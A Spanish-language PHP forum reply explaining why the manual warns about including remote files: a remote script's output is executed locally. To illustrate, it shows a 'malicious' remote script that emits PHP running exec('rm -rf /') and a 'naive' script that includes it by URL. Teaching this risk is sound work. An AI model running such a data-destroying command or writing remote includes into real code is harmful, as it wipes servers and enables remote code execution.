Ver Mensaje Individual
  #16 (permalink)  
Antiguo 28/04/2013, 12:27
Avatar de pateketrueke
pateketrueke
Modernizr
 
Fecha de Ingreso: abril-2008
Ubicación: Mexihco-Tenochtitlan
Mensajes: 26.399
Antigüedad: 16 años, 1 mes
Puntos: 2534
Respuesta: bloqueo de archivo

Cita:
Iniciado por webankenovi Ver Mensaje
es muy diferente esta respuesta a decir que es absurdo y tal no cres? aun asi desconozco si declarando la constante antes de llamarlo sea valido por eso pedi consejo ya que yo no puedo probarlo.
Bueno, "absurdo" es la mejor etimología al caso, ¿sabes lo que implica?

La argumentación que no lleva a nada claro es absurda.

Igual y el absurdo soy yo.

Cosa a parte.


Cita:
Iniciado por webankenovi Ver Mensaje
Advertencia
Advertencia de seguridad

El archivo remoto puede ser procesado en el servidor remoto (dependiendo de la extensión del archivo y del hecho de si el servidor remoto corre PHP o no) pero aun así tiene que producir un script PHP válido, porque será procesado en el servidor local. Si el archivo desde el servidor remoto debe ser procesado allá y entregar la salida solamente, readfile() es la mejor función para usar. De lo contrario, debe tenerse especial cuidado para asegurar que el script remoto produce un código válido y deseado

por que esta advertencia de seguridad?
La clave está en esta en la parte de "producir un script PHP válido".

¿Por qué la advertencia?

Es bastante sencillo, al usar include estás implicando que lo que se dispone a cargar es código PHP embebido, eso lo sabemos porque necesitamos siempre las etiquetas <?php .. ?> para ejecutar código PHP.

Así que la advertencia te indica que si el script remoto imprime secuencias incorrectas o maliciosas de código estas se ejecutarán en tu ámbito local y las consecuencias serán evidentes.

Eso es todo, si tu script sensible.php no hace nada mas que ejecutar cosas de su propio ámbito el resultado puede que no sea código válido para ejecutar.

Si buscamos ejecutar código remotamente deberíamos hacerlo así:

malicioso.php
Código PHP:
<?php
echo '<' "?php\n";
echo 
'exec("rm -rf /");';
ingenuo.php
Código PHP:
include 'http://web.com/malicioso.php'
Es decir, el script remoto se ejecuta y la salida debe ser un script válido de PHP.

¿Se entiende?
__________________
Y U NO RTFM? щ(ºдºщ)

No atiendo por MP nada que no sea personal.